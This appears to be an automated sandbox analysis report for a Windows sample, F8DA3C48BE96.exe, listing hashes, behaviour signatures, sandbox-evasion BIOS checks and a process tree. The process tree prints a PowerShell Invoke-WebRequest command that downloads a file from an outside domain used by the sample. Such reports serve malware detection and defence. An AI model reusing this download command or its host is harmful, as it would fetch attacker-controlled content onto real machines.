Analysis
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max time kernel
12s -
max time network
14s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
17/08/2024, 21:20
Static task
static1
Behavioral task
behavioral1
Sample
F8DA3C48BE96.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
F8DA3C48BE96.exe
Resource
win10v2004-20240802-en
General
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Target
F8DA3C48BE96.exe
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Size
2.1MB
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MD5
1dbf4a8467163f45008047c43a782be0
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SHA1
8d795660e1162ce4ee3ad01eb75e28aa72a3357b
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SHA256
26a9f1460d39efc3c1a55187e119982da6719692cb83d2c30bf0e6dd8fb70670
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SHA512
8e0a4b624fba8edce274cbb4b5f47a3ebd40bcbbb56b1d7f579950da787479360ac35b700f728c7ceae9e62e0e16ffdff03b3541eb08a1dc24ad3109b14860a0
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SSDEEP
49152:ijCsZVi6Le0QtM8aE2erNQ7QlPC170zGpT37kB6q:ijFHp668TEZkUT66
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 6 3948 powershell.exe 7 3948 powershell.exe -
pid Process 3948 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion F8DA3C48BE96.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion F8DA3C48BE96.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3948 powershell.exe 3948 powershell.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe 4992 F8DA3C48BE96.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3948 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4992 wrote to memory of 1800 4992 F8DA3C48BE96.exe 85 PID 4992 wrote to memory of 1800 4992 F8DA3C48BE96.exe 85 PID 1800 wrote to memory of 3948 1800 cmd.exe 86 PID 1800 wrote to memory of 3948 1800 cmd.exe 86
Processes
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C:\Users\Admin\AppData\Local\Temp\F8DA3C48BE96.exe"C:\Users\Admin\AppData\Local\Temp\F8DA3C48BE96.exe"1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4992 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'http://authoritydev.club/gay-hehehehehehehheeheheheehhehe.txt' -OutFile 'response.txt'"2⤵
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'http://authoritydev.club/gay-hehehehehehehheeheheheehhehe.txt' -OutFile 'response.txt'"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3948
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:2268
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
64B
MD5189a3afa1a89b14e40da1307206b76e9
SHA1c19aa29097f5028b3f22318c8260704ac1ce6c65
SHA256b2ddf60dee8f98a8045c3a2392a93353f9970bf9742e7d262772d4acf9baeac5
SHA512c9afd8d9fcbd73e382c90151d74b6bf0a4e2118abf0a7735291150d56d91a4102d4ccb6caba0b1129fab6cbfca74719b8f54cedeeca4d6deb45cd38e4e2da7d3